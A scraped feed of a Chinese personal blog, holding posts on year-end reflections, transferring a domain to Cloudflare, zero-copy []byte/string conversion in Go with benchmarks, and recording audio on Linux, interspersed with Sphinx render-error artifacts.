System Message: ERROR/2 (None, line None); backlink

Render Report:

Failed to render markup text to inline nodes:
```
'Values' object has no attribute 'tab_width'
```
合奏一些简单的曲子。

羽毛球

八月在大柳羽球密集上了十来节课后感觉有大进步，可惜歇了几个月没打感觉又回去了。现在在燕郊也找到了合适的俱乐部，大家水平相当，感觉还算不错。不过因为事情太多，对羽毛球的热情倒也并不高涨。

总结

写完这篇总结已经是 25 年的 3 月，我做什么事情（画画、写文章）都很慢，不知道怎么做能更快呢？

2024 年对我来说是动荡的一年：被裁员了也不争取转岗；医保空窗期生了大病；脱产画画又学不好，还分心谈恋爱。这么听起来似乎我过得很窝心，想来我就是爱用这种糟糕的叙事。

裁员：之前过得太舒坦了，如果因为我只做了份内工作而不力争上游就开除我，我只能说大家道不同不相为谋
空窗期生病：纯纯倒霉，没什么办法
画画学不好：以我的悟性，在晓飞老师那里学画一直是一件艰难的事情
谈恋爱：尽管花了很多时间，但我也获得了一些珍贵的感受和体验。妹妹并不会阻止我以后画画，如果把它当成长期投资的话，当下多花的时间倒也是有价值的

2025 年，我正儿八经三十岁了，被球场的 00 后小孩问年龄会感到难以启齿，我还有多少时间可以挥霍呢？新的一年要做这些事情：

继续学造型、学色彩、学创作，读艺术史
用妹妹留下的 RTX 3060 开启 AI 的学习
学英语
练琴

希望写明年的总结的时候它们都有满意的结果。

将域名从 GoDaddy 转移至 Cloudflare

2025-01-27T00:00:00+00:00

大家都知道的基础知识

DNS 协议能将一个域名解析为主机的 IP 地址，从而访问对应的主机，在移动互联网时代，流量的入口是各类 APP 而非浏览器，域名的意义早已不那么重大。不过对于希望保持数据独立性的内容生产者来说，持有一个域名还是有必要的。

域名有点像手机号码，表面上用户可以在域名注册商（Domain Name Registrar）处「购买」域名，但实际上所有的域名都归非营利的 互联网名称与数字地址分配机构（ICANN） 所有，域名注册商只是租赁代理，用户也只是租客。因此，对于同一个域名，用户既可以在注册商 A 处购买，也可以在注册商 B 处购买，在 ICANN 的管理下，注册商能够保证租给你的域名是唯一的。

中心化的 ICANN 保证了域名可以被唯一地分配，而分布式的 DNS 协议则保证了，无论域名由哪个注册商管理，都能在全球范围内被正确地解析和访问。

此外，已租用域名的用户，也可以选择将租赁协议从一家注册商转移到另一家（类似携号转网），转移费用等同于域名一年的租金。

老用户不如狗

转移域名的原因常常是因为 注册商提价。不同注册商对统一域名的定价不同，且因为域名的转移/迁移成本较高，注册商会倾向于逐年提高域名的续费价格。但根据上面的基础知识可知，用户可以选择将域名转移到另一注册商。

2017 年我在狗爹（godaddy.com）购入了域名 silverrainz.me，前几年价格大概在 100 CNY/yr 出头，也就一直续费着，23 涨到了 199，我开始考虑将域名转移到其他提供商。由于域名临近到期时不允许转出，也不想刚续费就马上转出浪费钱，就把事情推到了 24 年底，GoDaddy 又变本加厉地加价到了 219：

货比三家

在转移之前首先要确定哪里的注册商比较便宜且靠谱，哪煮米提供了域名比价的功能，可以看到我的 .me 域名在 90~100 CNY 的区间就能买到，GoDaddy 属实是欺负人了。前两个注册商我都不太熟，排第三的是大名鼎鼎的云厂商 Cloudflare：

CF 有个缺点是其托管的域名没法使用第三方的 nameserver，不过它作为（也许是全世界最好的）nameserver 服务提供商，用别的 nameserver 确实也说不过去。👤 pandada8 也说 CF 的免费解析服务在国内的可访问性也还行，于是就决定选 Cloudflare 了。

参见

「哪煮米」诙谐的网站介绍

域名转移流程

将原有注册商称为 A，常规的转移流程是，确定需要转入的新注册商 B，在 A 处申请域名转出，获得一个 转移密码，在 B 处申请域名转入，填入转移密码，然后等待 A 同意转出，这个过程大概需要 5 天左右。

直观地想，当域名转出的时候，域名在 A 处的设置会全部失效，例如 nameserver 设置和 DNS 设置，而 B 处会让新的域名使用自家的 nameserver，DNS 设置则还是一片空白，网站会陷入一段时间的不可用状态。因此合理的转移方式应该是，先在 A 处设置域名使用第三方的 nameserver，当然就是说「使用 B 的 nameserver」，再在 B 处导入该域名的所有 DNS 设置，如此一来，可以在域名转移前就将所有的解析工作交给 B，让域名在转移前后都正常工作。

小小坑点

我分别查阅了 GoDaddy 的转出指南和 Cloudflare 的转入指南，基本上按文档操作的来，就没啥问题了。

唯一卡住我的地方是文档说，在「域名组合」页面（点开来的标题是「域名总览」）如此操作即可转移域名：

但无论在 Portfolio 页面中，选中域名时的弹出菜单项里，还是在转移页面里，都不存在文档里提及的「转移至另一注册商/Transfer to Another Registrar」的选项。

Portfolio 页面，选中域名时的弹出菜单项

转移页面

但实际上文档也没写错，在 Portfolio 点击域名的超链接，进入域名详情，就有对应的转移选项了：

大家新年快乐， ^{Render Report}

生日快乐～

Golang 中避免 []bytes 和 string 转换开销的正确方法

2024-05-19T00:00:00+00:00

备注

本文写于 2024 年 5 月，基于 go version go1.22.3 linux/amd64 展开讨论。一些事实（尤其是编译优化的条件）会随着时间发生改变。

本文涉及的所有测试脚本与代码可在此处获取。

背景和现状

在 Golang 中，绝大部分的 type conversion 的运行时开销较小，但 []byte ⇆ string 是一个特例：由于 string 类型不可变（immutable），而 []byte 类型可变（mutable），两者转换时会导致内存的拷贝 [1]：

string → []byte 会导致运行时的 runtime.stringtoslicebyte 开销
[]byte → string 会导致运行时的 runtime.slicebytetostring 开销

不少开发人员对此类转换缺乏足够的敏感，导致编码中这样的开销随处可见。另一方面这也是 Go 语言本身的缺陷：无法对变量的可变性进行约束，无法做更精准的逃逸分析，导致 runtime 对此类转换的开销优化相当有限。

unsafe is not safe

而当开销逐渐累计为性能瓶颈时，开发人员又会开始寻求快速优化的途径，且往往会尝试简单粗暴的操作：通过 unsafe 包强制将 string 指向 []byte 的底层数据，或反之，以避免内存的拷贝。

unsafe 绝非理想的解决方案，首先它打破了类型上 immutable 和 mutable 的约定，可能导致程序的逻辑错误，在广泛使用并发的 Go 里就更容易出问题了；其次，使用 unsafe 时稍有不当就会导致非预期的内存 BUG，即使是有经验的开发者也很难不踩坑：

modern-go/reflect2#12: string 转 []byte 的过程中，将构造好的 reflect.SliceHeader 转回 []byte 之前，GC 可能将 SliceHeader.Data 指向的数据回收
DataDog/zstd#91: 将栈上分配的 []byte 强转为 string 后，栈扩张导致 string 底层数据失效

不完美的解决方案们

Go Team 在编译器和标准库层面提供了一些方案，但总的来说不够好：

指标不治本：不够通用，不能覆盖所有场景
手段不一致：有些是编译器优化，有些是标准库 API

这些方案在不同的 Go 版本中被陆续加入，文档也散落在不同的地方，在我印象里似乎没有人好好地把他们收集起来捋一捋。比起在网上的哪个旮旯里随便找个博客抄一段易燃易爆炸的 unsafe 代码，我更希望使用官方推荐的解决方案，这对项目的稳定性和可维护性都是大有裨益的。

编译优化

在以下的情况，编译器已经能直接省略 []byte ⇆ string 的开销了。如果你的应用对性能比较敏感，你需要了解如何编写代码才能让它享受到编译器的优化，必要时可借助编译器的日志和 benchmark 做进一步的确认。

Go1.22: zero-copy `string` → `[]byte` conversions

Go1.22 默认启用了一项叫 zerocopy 的优化 [2]，如果一个由 string 转化而来的 []byte 没有逃逸到堆上（什么是逃逸？），且在它所有代码路径上都是只读的（没有进行任何修改操作），那么转换的开销可以被省略。如下代码：

func BenchmarkZeroCopy(b *testing.B) {
	s := "202405"
	for i := 0; i < b.N; i++ {
		_ = []byte(s)
	}
}

我们通过分别设置 -gcflags='-d zerocopy=1' [3] 和 -gcflags='-d zerocopy=0' 来开启和关闭优化，在此基础上进行测试：

结果如下：

// zerocopy=1
goos: linux
goarch: amd64
cpu: 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
BenchmarkZeroCopy-8   	1000000000	         0.2157 ns/op	       0 B/op	       0 allocs/op
PASS
ok  	command-line-arguments	0.241s
// zerocopy=0
goos: linux
goarch: amd64
cpu: 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
BenchmarkZeroCopy-8   	418946652	         3.056 ns/op	       0 B/op	       0 allocs/op
PASS
ok  	command-line-arguments	1.573s

在测试的同时，我们还可以用 -gcflags '-m' [3] 输出编译器的优化日志，通过对比可以发现，第 10 行的 string → []byte 转换在 zerocopy=1 的情况下被正确识别了：

--- /home/runner/work/silverrainz.github.io/silverrainz.github.io/src/_assets/bsconv/zerocopy0.log
+++ /home/runner/work/silverrainz.github.io/silverrainz.github.io/src/_assets/bsconv/zerocopy1.log
@@ -2,6 +2,7 @@
 ./zerocopy_test.go:7:6: can inline BenchmarkZeroCopy
 ./zerocopy_test.go:7:24: b does not escape
 ./zerocopy_test.go:10:14: ([]byte)(s) does not escape
+./zerocopy_test.go:10:14: zero-copy string->[]byte conversion
 # command-line-arguments.test
 _testmain.go:37:6: can inline init.0
 _testmain.go:45:24: inlining call to testing.MainStart

备注

这个优化并不支持另一个方向 []byte → string 的 zero copy，@randall77 说难以实现 []byte 在 conversions 之后是只读的 这样的检查，并且多个 []byte 可以指向同一份数据，难以追踪。我其实没有完全理解，因为将优化的条件再收紧一些，感觉是可以做的？

要求 []byte 完全地只读，而非在 conversions 之后只读
[]byte 没有逃逸的话，完全跟踪所有指向底层存储的 slice 也非难事？

这两点都已经在当前的 zerocopy 优化里实现了，好奇为什么不这么做。如果有熟悉编译器的朋友知道原因，希望不吝赐教。

我纠结它为什么不实现的原因是，编译器在下面两种特殊情况下已经实现了 []byte → string，但只允许转换出来的 string 用于特定的内置操作（map查找和字符串运算），不能赋值给变量也不能传递给其他函数，非常受限。

Go1.5: bytes comparison

[]bytes 本质上是 slice 类型，无法直接判等，可以通过标准库 bytes.Equal 实现。 Go1.5 引入了一个优化 [4]，将 []byte 临时转化为 string 用于判等时，不会产生额外的内存分配。例如：

	b.Run("Optimized", func(b *testing.B) {
		for i := 0; i < b.N; i++ {
			_ = string(bs1) == string(bs2)
		}
	})

但如果你用一个变量储存转换出来的 string，哪怕逻辑上完全等价，优化会失效：

	b.Run("NotOptimized", func(b *testing.B) {
		for i := 0; i < b.N; i++ {
			s1 := string(bs1)
			s2 := string(bs2)
			_ = s1 == s2
		}
	})

其他的字符串操作，例如比较大小 >、< 或者连接 + 也同样支持该优化：

	b.Run("Optimized2", func(b *testing.B) {
		for i := 0; i < b.N; i++ {
			_ = string(bs1) >= string(bs2)
		}
	})

Benchmark 结果如下：

goos: linux
goarch: amd64
cpu: 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
BenchmarkEqual/Optimized-8         	1000000000	         0.2547 ns/op	       0 B/op	       0 allocs/op
BenchmarkEqual/NotOptimized-8      	26003533	        46.33 ns/op	     160 B/op	       2 allocs/op
BenchmarkEqual/Optimized2-8        	382775796	         3.174 ns/op	       0 B/op	       0 allocs/op
BenchmarkEqual/bytes.Equal-8       	1000000000	         0.2310 ns/op	       0 B/op	       0 allocs/op
PASS
ok  	command-line-arguments	3.328s

其中 bytes.Equal 的结果看起来也是优化过的，这是因为在 Go1.13 以后 bytes.Equal 就是简单地用 == 实现了 [5]：

https://pkg.go.dev/bytes#Equal

// Equal reports whether a and b
// are the same length and contain the same bytes.
// A nil argument is equivalent to an empty slice.
func Equal(a, b []byte) bool {
        // Neither cmd/compile nor gccgo allocates for these string conversions.
        return string(a) == string(b)
}

Go1.3: map lookup

Go1.3 引入了一个优化 [6]，当将 []byte 临时转化为 string 并用于查询 map 时，可以免去转换：

	b.Run("Optimized", func(b *testing.B) {
		for i := 0; i < b.N; i++ {
			_ = m[string(k)]
		}
	})

和上面类似，如果你用一个变量储存转换出来的 string，优化会失效：

	b.Run("NotOptimized", func(b *testing.B) {
		for i := 0; i < b.N; i++ {
			sk := string(k)
			_ = m[sk]
		}

Benchmark 结果如下：

goos: linux
goarch: amd64
cpu: 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
BenchmarkMapLookup/Optimized-8         	222915559	         5.483 ns/op	       0 B/op	       0 allocs/op
BenchmarkMapLookup/NotOptimized-8      	49391640	        33.78 ns/op	      48 B/op	       1 allocs/op
PASS
ok  	command-line-arguments	3.465s

标准库使用姿势

Go1.18 之前不支持泛型，因此标准库中有关 string/[]byte 的接口如果需要另一种类型的支持，基本就要加一个新接口。

当然，即使在已经有了泛型的 2024 年，标准库还是没有统一的方式来操作它们。具体可以看这里的讨论：

`strings` 和 `bytes`

两个库提供了基本相同的功能，但分别针对 string 和 []byte 类型，合理挑选函数可以避免转换：

  var s = []byte("hello world")
- strings.HasPrefix(string(s), "hello")
+ bytes.HasPrefix(s, []byte("hello"))

`io.Writer` 和 `io.StringWriter`

往 io.Writer 写入数据时，如果 writer 还同时实现了 io.StringWriter，可以根据数据的类型选择调用 Write 方法或者 WriteString 方法以避免转换：

  var s = "hello world"
- w.Write([]byte(s))
+ w.(io.StringWriter).WriteString(s)

标准库的 io.WriteString 就帮用户自动实现了这个逻辑：

https://pkg.go.dev/io#WriteString

// WriteString writes the contents of the string s to w, which accepts a slice of bytes.
// If w implements [StringWriter], [StringWriter.WriteString] is invoked directly.
// Otherwise, [Writer.Write] is called exactly once.
func WriteString(w Writer, s string) (n int, err error) {
        if sw, ok := w.(StringWriter); ok {
                return sw.WriteString(s)
        }
        return w.Write([]byte(s))
}

于是刚刚的代码就可以简化为：

  var s = "hello world"
  var w io.Writer
- w.Write([]byte(s))
+ io.WriteString(w, s)

提示

比较遗憾的是，要求每个 io.Writer 都实现 io.StringWriter 是不现实的，很多情况下，我们持有一个 string，要喂给 io.Writer 时还是只能乖乖地转换。

io.Writer.Write 的入参在约定上是只读的：

https://pkg.go.dev/io#Writer

// Writer is the interface that wraps the basic Write method.
//
// Write writes len(p) bytes from p to the underlying data stream.
// It returns the number of bytes written from p (0 <= n <= len(p))
// and any error encountered that caused the write to stop early.
// Write must return a non-nil error if it returns n < len(p).
// Write must not modify the slice data, even temporarily.
//
// Implementations must not retain p.
type Writer interface {
        Write(p []byte) (n int, err error)
}

我们可以畅想一下，编译器其实可以考虑直接省略该转换，但约定毕竟只是约定，没有强制力，如何识别修改 []byte 的边角 case 是个问题。社区对此有一些讨论：

cmd/compile: read-only escape analysis and avoiding string -> []byte copies #2205 已经由刚才提到的 zerocopy [2] 优化部分实现了
cmd/compile: optimize Write([]byte(stringVal)) to not copy the string #18822

`strconv.AppendXXX`

strconv.FormatXXX 系列函数将其他的基本类型（int、float64 等）转化为 string。某些情况下我们需要 []byte 形式的结果，可以使用 strconv.AppendXXX：

  var data []byte
- data = []byte(strconv.FormatInt(1234, 10))
+ data = strconv.AppendInt(nil, 1234, 10)

Go1.20: `strconv.ParseXXX`

很遗憾，ParseXXX 系列函数至今没有等价的 []byte 版本实现，在 strconv: add equivalents of Parsexxx() with []byte arguments 有过讨论但最终没有下文。不过鉴于这类函数的合法入参总是比较短（不超过 math.Max{Uint,Float64}），在栈上多复制一份也没什么大不了。

但有一个问题：当 parse 发生错误时，为了方便调试，错误信息会包含输入参数，例如执行 strconv.ParseInt("a") 会返回错误 strconv.ParseInt: parsing "a": invalid syntax。在 Go1.20 前 [7]，这会导致从而导致参数逃逸到堆上。

以下代码：

func BenchmarkStrconv(b *testing.B) {
	s := []byte{50, 48, 50, 52, 48, 53}
	for i := 0; i < b.N; i++ {
		_, _ = strconv.ParseInt(string(s), 10, 0)
	}
}

在 Go1.22 和 Go1.19 分别运行可以明显看到区别：

// go1.22
goos: linux
goarch: amd64
cpu: 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
BenchmarkStrconv-8   	86147509	        12.70 ns/op	       0 B/op	       0 allocs/op
PASS
ok  	command-line-arguments	1.111s
// go1.19
goos: linux
goarch: amd64
cpu: 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
BenchmarkStrconv-8   	51321450	        21.73 ns/op	       8 B/op	       1 allocs/op
PASS
ok  	command-line-arguments	1.142s

对比两个版本的编译器的优化日志，临时变量 string(s) 在 1.22 是不会发生逃逸的：

--- /home/runner/work/silverrainz.github.io/silverrainz.github.io/src/_assets/bsconv/strconv119.log
+++ /home/runner/work/silverrainz.github.io/silverrainz.github.io/src/_assets/bsconv/strconv122.log
@@ -1,7 +1,7 @@
 # command-line-arguments [command-line-arguments.test]
 ./strconv_test.go:8:23: b does not escape
 ./strconv_test.go:9:13: []byte{...} does not escape
-./strconv_test.go:11:33: string(s) escapes to heap
+./strconv_test.go:11:34: string(s) does not escape
 # command-line-arguments.test
 _testmain.go:37:6: can inline init.0
 _testmain.go:45:24: inlining call to testing.MainStart

Go1.19: `fmt.Append{,f,ln}`

fmt.Sprint{,f,ln} 的返回值是 string，Go1.19 引入 [8] 的 fmt.Append{,f,ln} 可以直接格式化地输出 []byte：

  var data []byte
- data = []byte(fmt.Sprintf("hello %s", "alice"))
+ data = fmt.Appendf(nil, ("hello %s", "alice"))

脚注

在 Linux 环境下录音

2024-05-03T00:00:00+00:00

通过运行 GNU/Linux 的个人电脑录制乐器和人声。环境：Arch Linux, kernel 6.8.8, pipewire 1.0.5，所以才需要写这么篇文章… 目前的拓扑是这样的：

吉他/麦克风 → ^{6.5mm TS} → 效果器 → ^{6.5mm TS} → 声卡 → ^USB → 电脑 → DAW

System Message: INFO/1 (/home/runner/work/silverrainz.github.io/silverrainz.github.io/src/blog/2024-05-linux-recording.rst, line 19)

No role entry for "sup" in module "docutils.parsers.rst.languages.zh_cn". Using English fallback for role "sup".

设备

独立声卡

之前一直不理解为什么录音需要声卡？主板上不是有声卡么？不是麦克风连电脑不就好了吗？

需要有音频接口：即使完全不考虑音质，我们也需要一个让电脑能够接收音频信号的接口，我的电脑有 3.5mm TRRS 的输入接口（能插有通话功能的耳机）。吉他及其周边输出用的是 6.5mm 的 TS 口 [1]，相对专业的麦克风用的则是卡农口，规格不一、用途不同。而独立声卡这些都会提供，再通过 USB 将数据传给电脑。

需要及格的音频处理能力：（据说）板载声卡采样率低，抗干扰能力弱，得到的声音质量差。但对比参数：就采样率而言没啥区别，其他有区别但我看不懂：

arecord --list-device + arecord --dump-hw-params -D hw:<CARD_NUM>

--- /home/runner/work/silverrainz.github.io/silverrainz.github.io/src/_assets/2025-10-linux-recording/onboard.txt
+++ /home/runner/work/silverrainz.github.io/silverrainz.github.io/src/_assets/2025-10-linux-recording/thr5a.txt
@@ -1,22 +1,21 @@
-HW Params of device "hw:0":
+HW Params of device "hw:1":
 --------------------
 ACCESS:  MMAP_INTERLEAVED RW_INTERLEAVED
-FORMAT:  S16_LE S24_LE
+FORMAT:  S24_3LE
 SUBFORMAT:  STD MSBITS_MAX
-SAMPLE_BITS: [16 32]
-FRAME_BITS: [32 64]
-CHANNELS: 2
-RATE: 48000
-PERIOD_TIME: [500 85334)
-PERIOD_SIZE: [24 4096]
-PERIOD_BYTES: [192 16384]
-PERIODS: [2 16]
-BUFFER_TIME: [1000 341334)
-BUFFER_SIZE: [48 16384]
-BUFFER_BYTES: [192 65536]
+SAMPLE_BITS: 24
+FRAME_BITS: 96
+CHANNELS: 4
+RATE: 44100
+PERIOD_TIME: (136 1000000]
+PERIOD_SIZE: [6 44100]
+PERIOD_BYTES: [72 529200]
+PERIODS: [2 1024]
+BUFFER_TIME: (272 2000000]
+BUFFER_SIZE: [12 88200]
+BUFFER_BYTES: [144 1058400]
 TICK_TIME: ALL
 --------------------
 arecord: set_params:1387: Sample format non available
 Available formats:
-- S16_LE
-- S24_LE
+- S24_3LE

实际上，我的 ^{Render Report}

和 ^{Render Report} 都自带了声卡，内核也能正常识别，但后者录音的时候总是捕捉不到，怀疑和这里遇到了同样的问题，折腾不动，故使用 thr5a 录音。

需要 📦 wireplumber

$ wpctl status
…

Audio
 ├─ Devices:
 │     …
 │     101. NUX MG-300 AUDIO                    [alsa]
 │     148. THR5A                               [alsa]
 │
 ├─ Sinks:
 │  *  …
 │     122. NUX MG-300 AUDIO Analog Stereo      [vol: 0.40]
 │     166. THR5A Analog Stereo                 [vol: 0.40]
 │
 ├─ Sources:
 │     …
 │  *   97. THR5A Analog Surround 4.0           [vol: 1.00]
 │     127. NUX MG-300 AUDIO Analog Stereo      [vol: 1.00]
 │

…

录制

The Unix way: 直接录制

GUI

对于最简单的录制音频场景，可以考虑用 📦 gnome-sound-recorder。

ALSA

需要 📦 alsa-utils:

$ arecord --list-device
**** List of CAPTURE Hardware Devices ****
…
card 1: THR5A [THR5A], device 0: USB Audio [USB Audio]
  Subdevices: 1/1
  Subdevice #0: subdevice #0

设备号是 HW:<CARD>,<DEV>，也就是 hw:1,0，开始录音:

$ arecord -f S24_3LE -r 44100 -D hw:1,0 -c 4 test.wav
Recording WAVE 'test.wav' : Signed 24 bit Little Endian in 3bytes, Rate 44100 Hz, Channels 4
^C
Aborted by signal 中断...

播放:

$ aplay test.wav
Playing WAVE 'test.wav' : Signed 24 bit Little Endian in 3bytes, Rate 44100 Hz, Channels 4

Pipewire

Target ID 从 wpctl status 获取:

$ pw-record --target 121 test.wav
^C

The Pro way: Digital Audio Workstation (DAW)

实际上，正经一点的录制工作都不会像上面一样用命令行工具或者简陋的 GUI，而是使用集成化的 DAW 软件，随便找了个视频扫盲一下：

当然在 Linux 上，DAW 软件选择比较有限 [2] [3]：

Reaper:: 跨三平台（wine on Linux），使用简单，但是收费
Ardour:: 老牌开源，一直在更新，看起来不错
LMMS:: 新潮漂亮，但看起来完全是给电子音乐用的，不支持录制功能
Presonus Studio One:: 商业软件但免费，原生 Wayland 和 Pipewire 支持，但 arch 没包

简单试用了下选择了 Ardour，有中文教程，对于本文来说，看录制音频一节即可。

更多内容参看 Ardour。

参考

2023 更新日志

2024-02-03T00:00:00+00:00

其实每个年初都有写年度总结的冲动，但每年都因为拖延而不了了之。快元旦的时候 ^{Render Report}

就在群里催大家写总结，现在豆豆和小杰已各自完成 [1] [2]，我也该动动笔了。

工作

作为一年内耗时最多的人类行为，理当排第一。

23 年是我工作的第 5 年，也是在字节工作的第 2 年。我的运气不错，一直以来的工作内容还算有趣，压力也并不太大，所以一直觉得还蛮有意思的。但今年心态也开始有了一些转变：

工作焦虑

受挫、从探索到计件

22 年中，整个团队的目标转向性能优化，自己发起的项目被要求减少投入，且开源无望。项目在内部还算受欢迎，也有不少用户，要继续开发就要在正常工作的基础上额外抽自己的时间，我不愿意，于是项目只好停滞，只保持最低程度的维护。

后面我转而尝试一些静态分析的工作。折腾了大半年东西是做出来了，但效果一般，落地困难。有些灰心，转移目标去给其他成熟项目打下手去了，想着以后就做计件制的工作吧，就不会有这样的挫败感了。

探索性的项目会有失败的风险，但有意思且可以自己预估人天，排期相对自由
做常规的需求则不需要太动脑子，但无聊且排期紧凑：做一个活儿的平均时间是很明确的，干完这个就会有下一个，不会空出时间让你歇着

是啊，工作就是这样，这已经是很好的职场环境了，老板不会跟你说只许成功不许失败，也没有 PM 给你加需求说明天就要。

摆烂、屎的制作与食用、报应、字节强度

9 月老板让我做个项目，平心而论并不是什么复杂项目，但我搞砸了：

我抱着计件制心态做这件事情：
- 没有 push 自己在关键的时间点完成该做的事情
- 很多技术决策都很随意，项目没成型就挖了坑
- 美名曰赶工，没有写测试
- 为了满足中期的进度审查，写了很多临时的，不可复用、屎一样的代码
第一次大量接触公司内部的基建，以前以为还堪一用，实际上：是屎，每个需要用的平台几乎都有可用性问题而不得不 oncall

结果就是项目到了 12 月也没能做好，被老板一直 push，还麻烦了同事来救火。最终在 24 年的 1 月加了两周班才堪堪摆平，算是体验了一把字节的平均强度。

无法成为专家

如上所述，今年做的都是一些提不起劲的工作，我也开始发现自己好像没什么竞争力。周围的朋友和组里的同事已经成为了某个领域的专家，或者在成为专家的路上，而我好像一直在做不太难的事情，也一直没有一个聚焦的领域：

泛型库只是一堆小工具的合集，有点意思的是易用性和功能上的各种 trade-off，但我也总结不出什么来
想向资深同事多学习，混个 Go Committer，发现没有余力
静态分析一直做得很浮躁。即使有搞过静态分析的同事 👤 zhangruoxu 帮助，论文还是只看了半篇，课程也没有学完，最后项目也凉了
在开源社区做的工作倒是持续了很长时间，可惜只是并没有什么难度，不配称为聚焦。小众社区的事情很多事情没人做只是因为它小众，做了能累积写了写代码的熟练度，但要靠这些形成技术壁垒，就是天方夜谭了

迷茫的生活可以辞职吗？

现在的工作其实很好了，没有什么无法忍受的事情，无法忍受的是在迷茫中度日。辞职不一定能解决我的迷茫，我可能还会迎来降薪、更差的工作环境甚至找不到工作。

现在的想法是：当一日和尚撞一日钟，当然还是要尽量保持专业。

开源

今年依然花了很多时间在玩自己的开源过家家，即使是过家家也是有些新鲜事的：

第一笔开源捐赠

Srain 在今年五月的时候收到了 50 美元的捐赠，让我开心了好几天。只可惜我已经不再积极地维护它，在失去热情之前没能让 Srain 成为流行的 IRC 客户端，也确实是自己能力有限。

https://opencollective.com/srain

提示

捐赠者 👤 kennylevinsen 看起来是 Sway 的活跃开发者，看起来这种捐赠只在开发者之间流通啊 :D

The Sphinx Notes Project

我的笔记系统由 Sphinx 搭建，👥 sphinx-notes 是我用来补充原生 Sphinx 能力的一系列项目。Sphinx 在编程文档编写领域（尤其是 Python）相当流行，但鲜有人用来记笔记，所以这些项目的 star 数也寥寥。

简单粗暴的东西好流行

在不同的项目上我花的力气不同，一些项目我觉得很酷，花了大力气，没有人用；而一些项目很简单，我只是为了方便随手一写，就会有不知哪里来的用户：

⛺ sphinx-notes/pages 用来把 Sphinx 项目推到 GitHub Pages 上，现在有 1000+ 的用户，其中包括了微软的开源 Python 项目模板和 PHP
⛺ sphinx-notes/strike 用来给 reStructuredText 添加删除线（Markdown 用户可能会觉得不可思议），仅有数十个用户，不过包括了 Haskell 的包管理器 cabal

凯尔特歌集、简谱和说中文的剑桥科学家 [3]

23 年最花力气的项目应该是 ⛺ sphinx-notes/lilypond，用来把自由打谱软件 LilyPond 的生成的乐谱插入到 Sphinx 文档里。

👤 kjcole 是我唯一认识的用户，他用 Sphinx + LilyPond 重新整理了《Celtic Song Book》 [4]。他向我汇报了不少 bug，有些比较难解，但在一轮轮迭代中还是都修掉了。2.0 有几个破坏性的改动，不知道他会不会更新。

为了练琴的仪式感，我尝试在插件里支持简谱。多年前看过 Tuna 的康哥 @scateu 用 LilyPond 打二胡的简谱，顺着博客找到了 Silas S. Brown 写的 jianpu-ly.py。

Silas 定义了一套简谱语法，并提供了一个脚本 jianpu-ly.py 将其翻译为 LilyPond 源码。这个脚本只支持从命令行调用，并且有些复杂，不太好修改。于是我去提了 Feature Request，希望他能帮我把脚本变得可以被我的扩展复用。 Silas 懂一些中文，于是我特地在 issue 里说了点中文期望能刷好感度 ;-P 而他也快速的满足了我的请求。

jianpu-ly.py 的集成工作并没有什么值得聊的，总之我们现在也能在 Sphinx 里面写简谱了：

画画

迷茫的生活不能画画吗？

22 年中开始，我就 {不愿, 不会, 不想} 画画了。整个 23 年，我大概只画了 15、6 张小创作，这可能是「迷茫」在我生活里最直接的体现。

思想上我有不少的忧虑，每个忧虑单独拿出来似乎又并非不可消解；行动上我看起来很忙，下班后有大半时间沉浸在刷视频这种「报复性休息」上，余下的时间又用来写代码练琴打球，而画画总是被排到最后。我应该放弃一些事情吗，还是它们有共存的可能？嘴上总是不离画画，但为什么我总是抗拒它呢？

AI 恐惧（未完成）

尽管如此，23 年还是发生了一些与画画有关的，甚至激励了我画画的事情：

怀柔的机器人 [5]

3 月 ^{Render Report}

和我说到他参加了羽呈会，在怀柔租了个工作空间，说有空过去玩玩。6 月出差去北京参加 GopherCon，便有机会去找他，过程都记录在纸上了。

胡林昊的工作室

写在背面的小作文

重返燕郊

尽管我已经能画一些东西了，但色彩上一直缺乏理论，全凭本能。 ^{Render Report}

是 ^{Render Report} 非常推崇的书，我屡次尝试读它都没能有收获，只好当面去求教。 8 月我开始做准备，因为长时间没有画画怕面对老师心生愧疚，于是开始画小创作，今年的大部分小创作都是这个时候完成的。

9 月动身，用尽所有的年假搭上国庆假期，进行了为期两周的色彩训练，在一套相对融洽的理论下锻炼调色能力和感知能力，收获颇丰。只可惜时间不够，未能完整地完成训练。

阔别两年的画室

厕所画室

回来前老师叮嘱我，因为时间问题训练还没到存档点，回去要自己继续画。训练用的是油画，难整理，味道大且有一定毒性。我租的房子里没有独立空间，考虑了一段时间要画还是要命，最后还是找到了解决方案 —— 厕所。

厕所有门，是正儿八经的独立空间，房子里这个厕所刚好空间也大
有排气扇，流通性甚至比只有单面窗的房间好
房东有个还没扔的大地毯，铺上刚好防止弄脏地面

还有个好处是训练需要稳定的光照，在房间里哪怕一直开着灯，早晚的光照还是有明显的变化，而我这个厕所是暗卫，只要开着灯，从早到晚都是光照都是一样的。

在这些基础上，我又做了一些保障狗命的措施：

常闭厕所门，防止味道跑出来，每次画完都把画框调色盘放到柜子里
用挥发性差、相对低毒的薰衣草油替代挥发性高，毒性大的松节油
把洗漱用品挪到外边，在别的地方刷牙洗脸

这个准备的过程让我很快乐，有种螺蛳壳里做道场的感觉。最终也算没辜负自己的准备，在厕所里陆陆续续画了三周，完成了两张平面变调训练，勉强摸到了存档点。

生活

身体

相比北京的定点医院+起付线制度，杭州的医保到处都能刷，公司的商报报销也很方便，加之我住的地方离浙一只有一公里，今年跑了很多次医院，应该是好事。

肺结节:

5 月查出了的 4mm 磨玻璃肺结节，可能是新冠后遗症
7 月被银行经理游说买医疗保险，发现有肺结节不能买（非标准体）
半年后复查无碍，改为年度复查

过敏:

7 月眼睛痒、鼻子痒，发现 IgE 1000+，比较严重了。查了过敏原，屋尘过敏，太常见以至于好像知道了也没用
9 月觉得有时呼吸不上来（其实好早之前也有，但忽略了），诊出过敏性哮喘，开始用信必可
复诊几次后看起来控制住了

甲状腺结节:

11 月体检发现 TI-RADS 2/3 各一枚，复查后问题不大，等半年后复诊

头发:

由于担心变秃， 6 月开始，开始用低浓度（2%）的米诺地尔，半年后发现似乎有稍稍变茂密 —— 比较难观测，因为本来也还没秃，总之继续用
8 月发现了第一根白头发

看起来似乎很多毛病，但所幸除了哮喘之外都是尚且不算问题，可能只是系统被观测得多了，随之发现的 bug 也就变多了。

